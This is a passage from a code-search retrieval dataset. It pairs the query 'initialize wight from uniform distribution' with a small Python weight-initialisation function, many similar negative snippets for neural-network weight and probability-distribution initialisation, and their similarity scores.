path='E:/JackokiePapers/figures/chapter_5/fig_5_4.png')\"\n]","isConversational":false},"negative_scores":{"kind":"list like","value":["0.70136875","0.68148184","0.6751892","0.66633844","0.6655421","0.6595561","0.65422","0.6519088","0.64663005","0.646612","0.63524765","0.63213307","0.63038063","0.6303545","0.6292076","0.62888145","0.628552","0.6281839","0.6280622","0.6247004","0.62343776","0.6234334","0.61934936","0.6189537","0.61180276","0.60912144","0.60844064","0.6078058","0.6063101","0.60618997","0.6052299","0.60341316","0.60296375","0.60277593","0.60083514","0.6005412","0.5985989","0.59658283","0.5964116","0.5960152","0.5959479","0.59563357","0.59518987","0.5951346","0.5940485","0.59054124","0.5900204","0.5883066","0.58796257","0.5873338","0.5865592","0.5864344","0.5854712","0.58468646","0.5844912","0.5843108","0.5840098","0.5836768","0.58215624","0.5820899","0.5816552","0.58146447","0.5802853","0.57880086","0.5779767","0.57757044","0.576155","0.5749647","0.57428175","0.5742707","0.5741726","0.57415545","0.5734789","0.5733337","0.5732955","0.57320374","0.57264715","0.57143915","0.57122445","0.57088363","0.5705803","0.5703106","0.56901777","0.56852937","0.56823933","0.56814826","0.5671639","0.5667984","0.5667652","0.565655","0.5654856","0.56514645","0.56499475","0.56477165","0.56467205","0.5645263","0.5644406","0.5643992","0.56354153","0.56303525"],"string":"[\n \"0.70136875\",\n \"0.68148184\",\n \"0.6751892\",\n \"0.66633844\",\n \"0.6655421\",\n \"0.6595561\",\n \"0.65422\",\n \"0.6519088\",\n \"0.64663005\",\n \"0.646612\",\n \"0.63524765\",\n \"0.63213307\",\n \"0.63038063\",\n \"0.6303545\",\n \"0.6292076\",\n \"0.62888145\",\n \"0.628552\",\n \"0.6281839\",\n \"0.6280622\",\n \"0.6247004\",\n \"0.62343776\",\n \"0.6234334\",\n \"0.61934936\",\n \"0.6189537\",\n \"0.61180276\",\n \"0.60912144\",\n \"0.60844064\",\n \"0.6078058\",\n \"0.6063101\",\n \"0.60618997\",\n \"0.6052299\",\n \"0.60341316\",\n \"0.60296375\",\n \"0.60277593\",\n \"0.60083514\",\n \"0.6005412\",\n \"0.5985989\",\n \"0.59658283\",\n \"0.5964116\",\n \"0.5960152\",\n \"0.5959479\",\n \"0.59563357\",\n \"0.59518987\",\n \"0.5951346\",\n \"0.5940485\",\n \"0.59054124\",\n \"0.5900204\",\n \"0.5883066\",\n \"0.58796257\",\n \"0.5873338\",\n \"0.5865592\",\n \"0.5864344\",\n \"0.5854712\",\n \"0.58468646\",\n \"0.5844912\",\n \"0.5843108\",\n \"0.5840098\",\n \"0.5836768\",\n \"0.58215624\",\n \"0.5820899\",\n \"0.5816552\",\n \"0.58146447\",\n \"0.5802853\",\n \"0.57880086\",\n \"0.5779767\",\n \"0.57757044\",\n \"0.576155\",\n \"0.5749647\",\n \"0.57428175\",\n \"0.5742707\",\n \"0.5741726\",\n \"0.57415545\",\n \"0.5734789\",\n \"0.5733337\",\n \"0.5732955\",\n \"0.57320374\",\n \"0.57264715\",\n \"0.57143915\",\n \"0.57122445\",\n \"0.57088363\",\n \"0.5705803\",\n \"0.5703106\",\n \"0.56901777\",\n \"0.56852937\",\n \"0.56823933\",\n \"0.56814826\",\n \"0.5671639\",\n \"0.5667984\",\n \"0.5667652\",\n \"0.565655\",\n \"0.5654856\",\n \"0.56514645\",\n \"0.56499475\",\n \"0.56477165\",\n \"0.56467205\",\n \"0.5645263\",\n \"0.5644406\",\n \"0.5643992\",\n \"0.56354153\",\n \"0.56303525\"\n]","isConversational":false},"document_score":{"kind":"string","value":"0.5791597"},"document_rank":{"kind":"string","value":"63"}}},{"rowIdx":14497,"cells":{"query":{"kind":"string","value":"initialize wight from uniform distribution"},"document":{"kind":"string","value":"def init_w(self, size):\n return np.random.uniform(self.r_min, self.r_max, size=size)"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["def WeightInitializer():\n return np.random.uniform(-1, 1)","def init_weights(self):\n \n self.w = np.random.randn(self.D) / np.sqrt(self.D)","def initializeDistribution(self):\n if (self.lowerBoundUsed == False and self.upperBoundUsed == False):\n self._distribution = distribution1D.BasicWeibullDistribution(self.k,self.lambdaVar,self.low)\n self.lowerBound = self.low\n self.upperBound = sys.float_info.max\n else:\n if self.lowerBoundUsed == False:\n self.lowerBound = self.low\n if self.upperBoundUsed == False:\n self.upperBound = sys.float_info.max\n self._distribution = distribution1D.BasicWeibullDistribution(self.k,self.lambdaVar,self.lowerBound,self.upperBound,self.low)","def init_weights(self, dims):\n self.W = np.random.normal(size=dims) * 0.0001","def init_weight(w):\n shape = w.shape\n if len(shape) == 4:\n i, o, u, v = shape\n k = np.sqrt(6 / (i * u * v + o * u * v))\n w.data.uniform_(-k, k)\n elif len(shape) == 2:\n k = np.sqrt(6 / sum(shape))\n w.data.uniform_(-k, k)\n elif len(shape) == 1:\n w.data.zero_()","def InitWeights(self):\n self.w = -1 + 2 * np.random.rand(self.num_of_inputs,)\n self.w0 = -1 + 2 * np.random.rand()","def init_weights(self, size):\n\n w = np.random.uniform(-0.5, 0.5, size + 1) # creates array with length size\n return w","def _WeightInit(self, stddev):\n return init_ops.truncated_normal_initializer(stddev=stddev)","def weights_initializer(self):\n self.weights = [np.random.normal(0, 1 / np.sqrt(x), (x, y)) for x, y in list(zip(self.structure[1:], self.structure[:-1]))]","def initializeDistribution(self):\n if self.lowerBoundUsed == False and self.upperBoundUsed == False:\n self._distribution = distribution1D.BasicLogisticDistribution(self.location,self.scale)\n else:\n if self.lowerBoundUsed == False:\n a = -sys.float_info.max\n else:\n a = self.lowerBound\n if self.upperBoundUsed == False:\n b = sys.float_info.max\n else:\n b = self.upperBound\n self._distribution = distribution1D.BasicLogisticDistribution(self.location,self.scale,a,b)","def init_weights(self, init_w=3e-3):\n self.mean_linear.weight.data.uniform_(-init_w, init_w)\n self.mean_linear.bias.data.uniform_(-init_w, init_w)\n self.log_std_linear.weight.data.uniform_(-init_w, init_w)\n self.log_std_linear.bias.data.uniform_(-init_w, init_w)","def initWeights(self):\n self.weights = []\n self.bias = []\n for i, dim in enumerate(self.dimensions[1:]):\n self.weights.append(np.random.uniform(-1,1,(self.dimensions[i],dim)))\n self.bias.append(np.random.uniform(-1,1,dim))","def _init_weights(n_rows, n_cols, std_dev=0.5):\n weights = np.random.randn(n_rows, n_cols) * std_dev\n return weights","def init_weights(self):\n self.embedding.weight.data.uniform_(-0.1, 0.1)\n self.word.bias.data.fill_(0)\n self.word.weight.data.uniform_(-0.1, 0.1)","def init_weights(self) -> None:\n self.fc.bias.data.fill_(0)\n self.fc.weight.data.uniform_(-0.1, 0.1)","def initializeDistribution(self):\n self.convertToDistrDict['Legendre'] = self.convertLegendreToUniform\n self.convertToQuadDict ['Legendre'] = self.convertUniformToLegendre\n self.measureNormDict ['Legendre'] = self.stdProbabilityNorm\n self.convertToDistrDict['ClenshawCurtis'] = self.convertLegendreToUniform\n self.convertToQuadDict ['ClenshawCurtis'] = self.convertUniformToLegendre\n self.measureNormDict ['ClenshawCurtis'] = self.stdProbabilityNorm\n self._distribution = distribution1D.BasicUniformDistribution(self.lowerBound,self.lowerBound+self.range)","def _random_weight_initialization(self, mean=0, stddev=1):\n self.slp_weights = np.random.normal(mean, stddev, size=(self.n_rbfs, self.n_targets))","def init_weights(self, init_w=3e-3):\n self.l3.weight.data.uniform_(-init_w, init_w)\n self.l3.bias.data.uniform_(-init_w, init_w)","def init_weights(self, init_w=3e-3):\n self.l3.weight.data.uniform_(-init_w, init_w)\n self.l3.bias.data.uniform_(-init_w, init_w)","def init_weights(self):\n r = np.sqrt(6.) / np.sqrt(self.fc.in_features +\n self.fc.out_features)\n self.fc.weight.data.uniform_(-r, r)\n self.fc.bias.data.fill_(0)","def init_weights(self):\n r = np.sqrt(6.) / np.sqrt(self.fc.in_features +\n self.fc.out_features)\n self.fc.weight.data.uniform_(-r, r)\n self.fc.bias.data.fill_(0)","def initializeDistribution(self):\n if self.lowerBoundUsed == False and self.upperBoundUsed == False:\n self._distribution = distribution1D.BasicLogNormalDistribution(self.mean,self.sigma,self.low)\n self.lowerBound = 0.0\n self.upperBound = sys.float_info.max\n else:\n if self.lowerBoundUsed == False:\n self.lowerBound = self.low\n if self.upperBoundUsed == False:\n self.upperBound = sys.float_info.max\n self._distribution = distribution1D.BasicLogNormalDistribution(self.mean,self.sigma,self.lowerBound,self.upperBound, self.low)","def init_parameters(self):\n stdv = 1. / math.sqrt(self.weight.data.size(1))\n self.weight.data.uniform_(-stdv, stdv)\n if self.bias is not None:\n self.bias.data.uniform_(-stdv, stdv)","def init_weights(self):\r\n constant_init(self.sampling_offsets, 0.)\r\n thetas = torch.arange(\r\n self.num_heads,\r\n dtype=torch.float32) * (2.0 * math.pi / self.num_heads)\r\n grid_init = torch.stack([thetas.cos(), thetas.sin()], -1)\r\n grid_init = (grid_init /\r\n grid_init.abs().max(-1, keepdim=True)[0]).view(\r\n self.num_heads, 1, 1,\r\n 2).repeat(1, self.num_levels, self.num_points, 1)\r\n for i in range(self.num_points):\r\n grid_init[:, :, i, :] *= i + 1\r\n\r\n self.sampling_offsets.bias.data = grid_init.view(-1)\r\n constant_init(self.attention_weights, val=0., bias=0.)\r\n xavier_init(self.value_proj, distribution='uniform', bias=0.)\r\n xavier_init(self.output_proj, distribution='uniform', bias=0.)\r\n self._is_init = True","def __init__(self, n_upper, n, activation=sigmoid):\n self.w = wb_width * np.random.randn(n_upper, n)\n self.b = wb_width * np.random.random(n)","def initializeDistribution(self):\n if (self.lowerBoundUsed == False and self.upperBoundUsed == False):\n self._distribution = distribution1D.BasicExponentialDistribution(self.lambdaVar,self.low)\n self.lowerBound = self.low\n self.upperBound = sys.float_info.max\n else:\n if self.lowerBoundUsed == False:\n self.lowerBound = self.low\n if self.upperBoundUsed == False:\n self.upperBound = sys.float_info.max\n self._distribution = distribution1D.BasicExponentialDistribution(self.lambdaVar,self.lowerBound,self.upperBound,self.low)","def init_weights(self):\r\n self.embedding.weight.data.uniform_(-0.1, 0.1)\r\n self.fc.bias.data.fill_(0)\r\n self.fc.weight.data.uniform_(-0.1, 0.1)","def init_weights(self):\n self.embedding.weight.data.uniform_(-0.1, 0.1)\n self.fc.bias.data.fill_(0)\n self.fc.weight.data.uniform_(-0.1, 0.1)","def init_weights(self):\n self.embedding.weight.data.uniform_(-0.1, 0.1)\n self.fc.bias.data.fill_(0)\n self.fc.weight.data.uniform_(-0.1, 0.1)","def init_weights(self):\n self.embedding.weight.data.uniform_(-0.1, 0.1)\n self.fc.bias.data.fill_(0)\n self.fc.weight.data.uniform_(-0.1, 0.1)","def _base_dist(self, *args, **kwargs):\n return tfd.TransformedDistribution(\n distribution=tfd.Uniform(low=0.0, high=1.0),\n bijector=tfp.bijectors.Invert(tfp.bijectors.Weibull(*args, **kwargs)),\n name=\"Weibull\",\n )","def init_weight(self):\r\n xavier_init(self.output_proj, distribution='uniform', bias=0.)","def Winit(Weightinit):\n\n DicWinit = {'LecunNormal':tf.keras.initializers.lecun_normal(seed=None),\n 'LecunUniform':tf.keras.initializers.lecun_uniform(seed=None),\n 'GlorotNormal':tf.keras.initializers.GlorotNormal(seed=None),\n 'GlorotUniform':tf.keras.initializers.GlorotUniform(seed=None),\n 'HeNormal':tf.keras.initializers.he_normal(seed=None),\n 'HeUniform':tf.keras.initializers.he_uniform(seed=None)}\n return DicWinit[Weightinit]","def he_weights_initialization(shape):\n w = np.random.randn(shape[0], shape[1]) * np.sqrt(2 / shape[1])\n return w","def he_uniform(seed=None):\n # pylint: disable=line-too-long\n # pylint: enable=line-too-long\n return lambda shape, dtype, batch_ndims=0: _initialize( # pylint: disable=g-long-lambda\n shape, dtype, batch_ndims,\n scale=2., mode='fan_in', distribution='uniform', seed=seed)","def initializeDistribution(self):\n if self.lowerBoundUsed == False and self.upperBoundUsed == False:\n self._distribution = distribution1D.BasicBinomialDistribution(self.n,self.p)\n else:\n self.raiseAnError(IOError,'Truncated Binomial not yet implemented')","def initializeDistribution(self):\n if self.lowerBoundUsed == False:\n self.lowerBound = -sys.float_info.max\n if self.upperBoundUsed == False:\n self.upperBound = sys.float_info.max\n self._distribution = distribution1D.BasicLaplaceDistribution(self.location,self.scale,self.lowerBound,self.upperBound)","def initializeDistribution(self):\n if (self.lowerBoundUsed == False and self.upperBoundUsed == False) or (self.min == self.lowerBound and self.max == self.upperBound):\n self._distribution = distribution1D.BasicTriangularDistribution(self.apex,self.min,self.max)\n else:\n self.raiseAnError(IOError,'Truncated triangular not yet implemented')","def __init__(self, n_in, n_out):\n self.W = np.random.randn(n_in, n_out) * 0.1\n self.b = np.zeros(n_out)","def default_weight_initializer(self):\n self.biases = [np.random.randn(y, 1) for y in self.sizes[1:]]\n self.weights = [np.random.randn(y, x)/np.sqrt(x)\n for x, y in zip(self.sizes[:-1], self.sizes[1:])]","def init_weight(self):\n init_bn(self.norm0)","def init_params(self, scale=1e-4):\n if self.add_bias:\n self.bias = self.Y.mean(0)[np.newaxis,:]\n self.W = np.random.normal(scale=scale, size=(self.X.shape[1],self.Y.shape[1]))","def initialize(self, optimizer):\n limit = 1 / math.sqrt(self.input_shape[0])\n self.W = np.random.uniform(-limit, limit, (self.input_shape[0], self.units)) # TODO check limits\n self.b = np.zeros((1, self.units))\n\n self.W_optimizer = copy.copy(optimizer)\n self.b_optimizer = copy.copy(optimizer)","def glorot(w):\n n_in, n_out = w.size()\n b = math.sqrt(6) / math.sqrt(n_in + n_out)\n return w.uniform_(-b, b)","def initialize_weights(self):\n w1 = np.random.uniform(-1.0, 1.0, size = self.n_hidden * (self.n_features + 1)).reshape(self.n_hidden, (self.n_features + 1))/(self.n_features + 1)\n w2 = np.random.uniform(-1.0, 1.0, size=self.n_output*(self.n_hidden+1)).reshape(self.n_output, self.n_hidden+ 1)/(self.n_hidden + 1)\n return w1, w2","def initializeDistribution(self):\n if self.lowerBoundUsed == False and self.upperBoundUsed == False:\n self._distribution = distribution1D.BasicBernoulliDistribution(self.p)\n else:\n self.raiseAnError(IOError,'Truncated Bernoulli not yet implemented')","def random_weights_init(self, data):\n self.check_input_dimension(data)\n for i in range(self.y_axis):\n for j in range(self.x_axis):\n rand_i = self.random_generator.randint(len(data))\n self.weights[i][j] = data[rand_i]","def initializeDistribution(self):\n self.minVal = min(math.exp(self.upperBound),math.exp(self.lowerBound))\n self.maxVal = max(math.exp(self.upperBound),math.exp(self.lowerBound))","def uniform_weights(n):\n return np.ones((n, 1)) / n","def weights_init(m):\n if type(m) == torch.nn.Linear:\n m.weight.data.normal_(0.0, 0.02)\n m.bias.data.fill_(0)","def init_weights(self) -> None:\n nn.init.kaiming_normal_(self._U)\n nn.init.kaiming_normal_(self._W)\n nn.init.kaiming_normal_(self._V)\n\n nn.init.normal_(self._b)","def initializeDistribution(self):\n if self.lowerBoundUsed == False and self.upperBoundUsed == False:\n self._distribution = distribution1D.BasicPoissonDistribution(self.mu)\n self.lowerBound = 0.0\n self.upperBound = sys.float_info.max\n else:\n self.raiseAnError(IOError,'Truncated poisson not yet implemented')","def initializeDistribution(self):\n self.convertToDistrDict['Laguerre'] = self.convertLaguerreToGamma\n self.convertToQuadDict ['Laguerre'] = self.convertGammaToLaguerre\n self.measureNormDict ['Laguerre'] = self.stdProbabilityNorm\n if (not self.upperBoundUsed):\n # and (not self.lowerBoundUsed):\n self._distribution = distribution1D.BasicGammaDistribution(self.alpha,1.0/self.beta,self.low)\n #self.lowerBoundUsed = 0.0\n self.upperBound = sys.float_info.max\n self.preferredQuadrature = 'Laguerre'\n self.preferredPolynomials = 'Laguerre'\n else:\n self.preferredQuadrature = 'CDF'\n self.preferredPolynomials = 'Legendre'\n if self.lowerBoundUsed == False:\n a = 0.0\n self.lowerBound = a\n else:\n a = self.lowerBound\n if self.upperBoundUsed == False:\n b = sys.float_info.max\n self.upperBound = b\n else:\n b = self.upperBound\n self._distribution = distribution1D.BasicGammaDistribution(self.alpha,1.0/self.beta,self.low,a,b)","def _u_naught_simple(self):\n # Random is better to give different multipliers in the subgradient phase\n return np.random.rand(self.mrows)*1.","def init_weights(self):\n r = np.sqrt(6.) / np.sqrt(self.fc1.in_features +\n self.fc1.out_features)\n self.fc1.weight.data.uniform_(-r, r)\n self.fc1.bias.data.fill_(0)\n r = np.sqrt(6.) / np.sqrt(self.fc2.in_features +\n self.fc2.out_features)\n self.fc2.weight.data.uniform_(-r, r)\n self.fc2.bias.data.fill_(0)","def deltaW(N, m, h):\n return np.random.normal(0., np.sqrt(h), (N, m))\n # return levy.rvs(0., 1e-11, (N, m))+np.random.normal(0., np.sqrt(h), (N, m)) #levy distribution\n # return cauchy.rvs(0., 1e-4, (N, m)) #Cauchy distribution","def initializeWeights(n_in,n_out):\r\n \r\n epsilon = sqrt(6) / sqrt(n_in + n_out + 1);\r\n W = (np.random.rand(n_out, n_in + 1)*2* epsilon) - epsilon;\r\n return W","def initializeWeights(n_in,n_out):\r\n \r\n epsilon = sqrt(6) / sqrt(n_in + n_out + 1);\r\n W = (np.random.rand(n_out, n_in + 1)*2* epsilon) - epsilon;\r\n return W","def initialize_direction(self):\n\n self.mu = 2. * np.random.rand(1)[0] - 1.","def initializeWeights(n_in,n_out):\n epsilon = sqrt(6) / sqrt(n_in + n_out + 1);\n W = (np.random.rand(n_out, n_in + 1)*2* epsilon) - epsilon;\n return W","def initializeWeights(n_in,n_out):\n epsilon = sqrt(6) / sqrt(n_in + n_out + 1);\n W = (np.random.rand(n_out, n_in + 1)*2* epsilon) - epsilon;\n return W","def initializeWeights(n_in,n_out):\n epsilon = sqrt(6) / sqrt(n_in + n_out + 1);\n W = (np.random.rand(n_out, n_in + 1)*2* epsilon) - epsilon;\n return W","def layer_weight_init(self, size):\n # TODO: make smarter init\n return np.random.uniform(size=size)","def _init_weights(self):\n nn.init.xavier_normal_(self.out.weight)","def initSamples(self):\n # Define this (note random.uniform is helpful here!)\n for i in range(self.numParticles):\n # Create particles uniformly and generate same weights for all particles.\n particle = random.uniform(self.minValue, self.maxValue)\n self.samples.append(particle)\n self.weights.append(1/self.numParticles)","def get_random_uniform_fill(n_units, input_distributions, volume_factor=3, wid=None):\n if wid is None:\n vol = np.product(\n list(np.diff(distr.interval(1)) for distr in input_distributions)\n )\n wid = volume_factor * vol / n_units\n means_all = np.zeros((n_units, len(input_distributions)))\n wids_all = np.ones((n_units, len(input_distributions))) * (wid**2)\n for i, distr in enumerate(input_distributions):\n means_all[:, i] = distr.rvs(n_units)\n return means_all, wids_all","def initializeWeights(n_in,n_out):\n \n epsilon = sqrt(6) / sqrt(n_in + n_out + 1);\n W = (np.random.rand(n_out, n_in + 1)*2* epsilon) - epsilon;\n return W","def initializeDistribution(self):\n self.checkDistParams()\n\n self.lowerBound = min(self.mapping.keys())\n self.upperBound = max(self.mapping.keys())","def weightGenerate(self):\n\t\tfor i in range(0, self.numberOfInput):\n\t\t\tself.weight.append(random.random()-0.5)","def setWeightInitializer(self,weights):\n self.init_w = weights","def glorot_uniform(seed=None):\n return lambda shape, dtype, batch_ndims=0: _initialize( # pylint: disable=g-long-lambda\n shape, dtype, batch_ndims,\n scale=1., mode='fan_avg', distribution='uniform', seed=seed)","def init_embedding(self):\n self.embedding.weight.data.uniform_(-1./self.num_embeddings, 1./self.num_embeddings)","def reset_parameters(self, bias):\n logger.info('===== Initialize %s with Xavier uniform distribution =====' % self.__class__.__name__)\n nn.init.xavier_uniform_(self.w_key.weight, gain=1 / math.sqrt(2))\n nn.init.xavier_uniform_(self.w_value.weight, gain=1 / math.sqrt(2))\n nn.init.xavier_uniform_(self.w_query.weight, gain=1 / math.sqrt(2))\n if bias:\n nn.init.constant_(self.w_key.bias, 0.0)\n nn.init.constant_(self.w_value.bias, 0.0)\n nn.init.constant_(self.w_query.bias, 0.0)\n nn.init.xavier_uniform_(self.w_out.weight)\n if bias:\n nn.init.constant_(self.w_out.bias, 0.0)\n if self.xl_like:\n nn.init.xavier_uniform_(self.w_pos.weight)\n if bias:\n nn.init.constant_(self.w_pos.bias, 0.0)","def init_unif(sz):\n bnd = 1 / sqrt(sz[0])\n p = uniform(low=-bnd, high=bnd, size=sz)\n return squeeze(p)","def initializeDistribution(self):\n if self.functionType == 'CDF':\n self._distribution = distribution1D.BasicMultiDimensionalInverseWeight(str(self.dataFilename), self.p,True)\n else:\n self._distribution = distribution1D.BasicMultiDimensionalInverseWeight(str(self.dataFilename), self.p,False)\n self.dimensionality = self._distribution.returnDimensionality()\n self.lowerBound = [self.returnLowerBound(dim) for dim in range(self.dimensionality)]\n self.upperBound = [self.returnUpperBound(dim) for dim in range(self.dimensionality)]","def W_init(shape, name=None):\n values = rng.normal(loc=0, scale=1e-2, size=shape)\n return K.variable(values, name=name)","def initializeDistribution(self):\n self.convertToDistrDict['Jacobi'] = self.convertJacobiToBeta\n self.convertToQuadDict ['Jacobi'] = self.convertBetaToJacobi\n self.measureNormDict ['Jacobi'] = self.stdProbabilityNorm\n #this \"if\" section can only be called if distribution not generated using readMoreXML\n if (not self.upperBoundUsed) and (not self.lowerBoundUsed):\n self._distribution = distribution1D.BasicBetaDistribution(self.alpha,self.beta,self.high-self.low,self.low)\n else:\n if self.lowerBoundUsed == False:\n a = 0.0\n else:\n a = self.lowerBound\n if self.upperBoundUsed == False:\n b = sys.float_info.max\n else:\n b = self.upperBound\n self._distribution = distribution1D.BasicBetaDistribution(self.alpha,self.beta,self.high-self.low,a,b,self.low)\n self.preferredPolynomials = 'Jacobi'\n self.compatibleQuadrature.append('Jacobi')\n self.compatibleQuadrature.append('ClenshawCurtis')","def initializeDistribution(self):\n self.convertToDistrDict['Hermite'] = self.convertHermiteToNormal\n self.convertToQuadDict ['Hermite'] = self.convertNormalToHermite\n self.measureNormDict ['Hermite'] = self.stdProbabilityNorm\n if (not self.upperBoundUsed) and (not self.lowerBoundUsed):\n self._distribution = distribution1D.BasicNormalDistribution(self.mean,\n self.sigma)\n self.lowerBound = -sys.float_info.max\n self.upperBound = sys.float_info.max\n self.preferredQuadrature = 'Hermite'\n self.preferredPolynomials = 'Hermite'\n else:\n self.preferredQuadrature = 'CDF'\n self.preferredPolynomials = 'Legendre'\n if self.lowerBoundUsed == False:\n a = -sys.float_info.max\n self.lowerBound = a\n else:\n a = self.lowerBound\n if self.upperBoundUsed == False:\n b = sys.float_info.max\n self.upperBound = b\n else:\n b = self.upperBound\n self._distribution = distribution1D.BasicNormalDistribution(self.mean,\n self.sigma,\n a,b)","def _initialize_weights(self, m):\n self.w_ = np.zeros(1 + m)\n self.w_initialized = True","def _initialize_weights(self, m):\n self.w_ = np.zeros(1 + m)\n self.w_initialized = True","def _initialize_weights(self, m):\n self.w_ = np.zeros(1 + m)\n self.w_initialized = True","def initializeDistribution(self):\n if self.lowerBoundUsed == False and self.upperBoundUsed == False:\n self._distribution = distribution1D.BasicGeometricDistribution(self.p)\n else: self.raiseAnError(IOError,'Truncated Geometric not yet implemented')","def initialize(self):\n#TODO: choose user defined START position\n values_type = np.dtype(float)\n self.visual_field = np.zeros(self.number_of_locs, dtype=values_type)\n self.weighted_sums = np.zeros(self.number_of_locs, dtype=values_type)\n self.prior_prob = 1.0 / np.prod(self.number_of_locs)\n self.post_probs = np.full(\n self.number_of_locs, self.prior_prob, dtype=values_type\n )\n starting_location = np.array(START)\n self.focus = get_index_of_in(starting_location,self.senzory_map)\n self.target_location = [\n x for x in xrange(self.number_of_locs) if x != self.focus\n ][random.randint(0,self.number_of_locs-2)]","def reset_parameters_xavier_uniform(self, bias):\n logger.info('===== Initialize %s with Xavier uniform distribution =====' % self.__class__.__name__)\n nn.init.xavier_uniform_(self.w_value.weight, gain=1 / math.sqrt(2))\n if bias:\n nn.init.constant_(self.w_value.bias, 0.0)\n nn.init.xavier_uniform_(self.w_out.weight)\n if bias:\n nn.init.constant_(self.w_out.bias, 0.0)","def init_weights(self):\n\n r = np.sqrt(1.) / np.sqrt(self.fc3.in_features +\n self.fc3.out_features)\n self.fc3.weight.data.uniform_(-r, r)\n self.fc3.bias.data.fill_(0)\n r = np.sqrt(1.) / np.sqrt(self.fc2.in_features +\n self.fc2.out_features)\n self.fc2.weight.data.uniform_(-r, r)\n self.fc2.bias.data.fill_(0)\n r = np.sqrt(1.) / np.sqrt(self.fc1.in_features +\n self.fc1.out_features)\n self.fc1.weight.data.uniform_(-r, r)\n self.fc1.bias.data.fill_(0)","def init_params_weight(row,column):\n W = np.random.rand(row, column)\n W = W*2.0-1.0\n return W.astype(config.floatX) # @UndefinedVariable","def initialize_weights(self, n_features, random=True):\n\t\tif random:\n\t\t\tlimit = 1 / math.sqrt(n_features)\n\t\t\tself.weights = np.random.uniform(-limit, limit, (n_features, ))\n\t\telse:\n\t\t\tself.weights = np.zeros(n_features)","def initialize_weights(self, seed=None):\r\n if seed!=None:\r\n np.random.seed(seed)\r\n self.weights = np.random.randn(self.number_of_nodes,self.input_dimensions)","def xavier_weight_init(shape):\n lim = np.sqrt(6. / sum(shape))\n out = np.random.uniform(-lim, lim, shape)\n\n return out","def initialize_weights_xavier(self):\n\t\tself.weights = [np.random.uniform(-1/sqrt(size1), 1/sqrt(size1)) for size1, size2 in zip(self.sizes[:-1], self.sizes[1:])]\n\t\tself.biases = [np.zeros([size, ]) for size in self.sizes[1:]]","def init_weights_(self):\n raise NotImplementedError","def initialize_parameters(self):\n for i in range(1, self.L):\n self.W[i - 1] = np.random.randn(self.layer_dims[i], self.layer_dims[i - 1]) * 0.01\n self.b[i - 1] = np.zeros((self.layer_dims[i], 1))","def realize(self):\n if numpy.random.rand() > self._P:\n self._w *= 0.0","def _update_w(self, idx):\n self.w = ((self._w - 0.4) * (self._generations - idx)) /\\\n (self._generations + 0.4)","def random_weights_init(self, data):\n self._check_input_len(data)\n it = nditer(self._activation_map, flags=['multi_index'])\n while not it.finished:\n rand_i = self._random_generator.randint(len(data))\n self._weights[it.multi_index] = data[rand_i]\n it.iternext()","def _generate_weights(self):\n weights = [random.uniform(0, 1) for x in range(self.num_weights)]\n return self._normalize_weights(weights)","def init_weights(self):\n # Initialize weights\n self.apply(self._init_weights)","def rand_init_weights(L_in, L_out):\n W = zeros((L_out, 1 + L_in), float64) # plus 1 for bias term\n epsilon_init = sqrt(6) / sqrt((L_in + 1) + L_out)\n\n W = uniform(size=(L_out, 1 + L_in)) * 2 * epsilon_init - epsilon_init\n return W","def generate_start_w0(columns_num):\n start_w0 = [uniform(-1, 1.) for _ in range(columns_num)]\n norm_start_w0 = start_w0 / np.linalg.norm(start_w0)\n return norm_start_w0","def reset_parameters(self, bias):\n logger.info('===== Initialize %s with Xavier uniform distribution =====' % self.__class__.__name__)\n nn.init.xavier_uniform_(self.w_key.weight, gain=1 / math.sqrt(2))\n nn.init.xavier_uniform_(self.w_value.weight, gain=1 / math.sqrt(2))\n nn.init.xavier_uniform_(self.w_query.weight, gain=1 / math.sqrt(2))\n if bias:\n nn.init.constant_(self.w_key.bias, 0.0)\n nn.init.constant_(self.w_value.bias, 0.0)\n nn.init.constant_(self.w_query.bias, 0.0)\n nn.init.xavier_uniform_(self.w_out.weight)\n if bias:\n nn.init.constant_(self.w_out.bias, 0.0)"],"string":"[\n \"def WeightInitializer():\\n return np.random.uniform(-1, 1)\",\n \"def init_weights(self):\\n \\n self.w = np.random.randn(self.D) / np.sqrt(self.D)\",\n \"def initializeDistribution(self):\\n if (self.lowerBoundUsed == False and self.upperBoundUsed == False):\\n self._distribution = distribution1D.BasicWeibullDistribution(self.k,self.lambdaVar,self.low)\\n self.lowerBound = self.low\\n self.upperBound = sys.float_info.max\\n else:\\n if self.lowerBoundUsed == False:\\n self.lowerBound = self.low\\n if self.upperBoundUsed == False:\\n self.upperBound = sys.float_info.max\\n self._distribution = distribution1D.BasicWeibullDistribution(self.k,self.lambdaVar,self.lowerBound,self.upperBound,self.low)\",\n \"def init_weights(self, dims):\\n self.W = np.random.normal(size=dims) * 0.0001\",\n \"def init_weight(w):\\n shape = w.shape\\n if len(shape) == 4:\\n i, o, u, v = shape\\n k = np.sqrt(6 / (i * u * v + o * u * v))\\n w.data.uniform_(-k, k)\\n elif len(shape) == 2:\\n k = np.sqrt(6 / sum(shape))\\n w.data.uniform_(-k, k)\\n elif len(shape) == 1:\\n w.data.zero_()\",\n \"def InitWeights(self):\\n self.w = -1 + 2 * np.random.rand(self.num_of_inputs,)\\n self.w0 = -1 + 2 * np.random.rand()\",\n \"def init_weights(self, size):\\n\\n w = np.random.uniform(-0.5, 0.5, size + 1) # creates array with length size\\n return w\",\n \"def _WeightInit(self, stddev):\\n return init_ops.truncated_normal_initializer(stddev=stddev)\",\n \"def weights_initializer(self):\\n self.weights = [np.random.normal(0, 1 / np.sqrt(x), (x, y)) for x, y in list(zip(self.structure[1:], self.structure[:-1]))]\",\n \"def initializeDistribution(self):\\n if self.lowerBoundUsed == False and self.upperBoundUsed == False:\\n self._distribution = distribution1D.BasicLogisticDistribution(self.location,self.scale)\\n else:\\n if self.lowerBoundUsed == False:\\n a = -sys.float_info.max\\n else:\\n a = self.lowerBound\\n if self.upperBoundUsed == False:\\n b = sys.float_info.max\\n else:\\n b = self.upperBound\\n self._distribution = distribution1D.BasicLogisticDistribution(self.location,self.scale,a,b)\",\n \"def init_weights(self, init_w=3e-3):\\n self.mean_linear.weight.data.uniform_(-init_w, init_w)\\n self.mean_linear.bias.data.uniform_(-init_w, init_w)\\n self.log_std_linear.weight.data.uniform_(-init_w, init_w)\\n self.log_std_linear.bias.data.uniform_(-init_w, init_w)\",\n \"def initWeights(self):\\n self.weights = []\\n self.bias = []\\n for i, dim in enumerate(self.dimensions[1:]):\\n 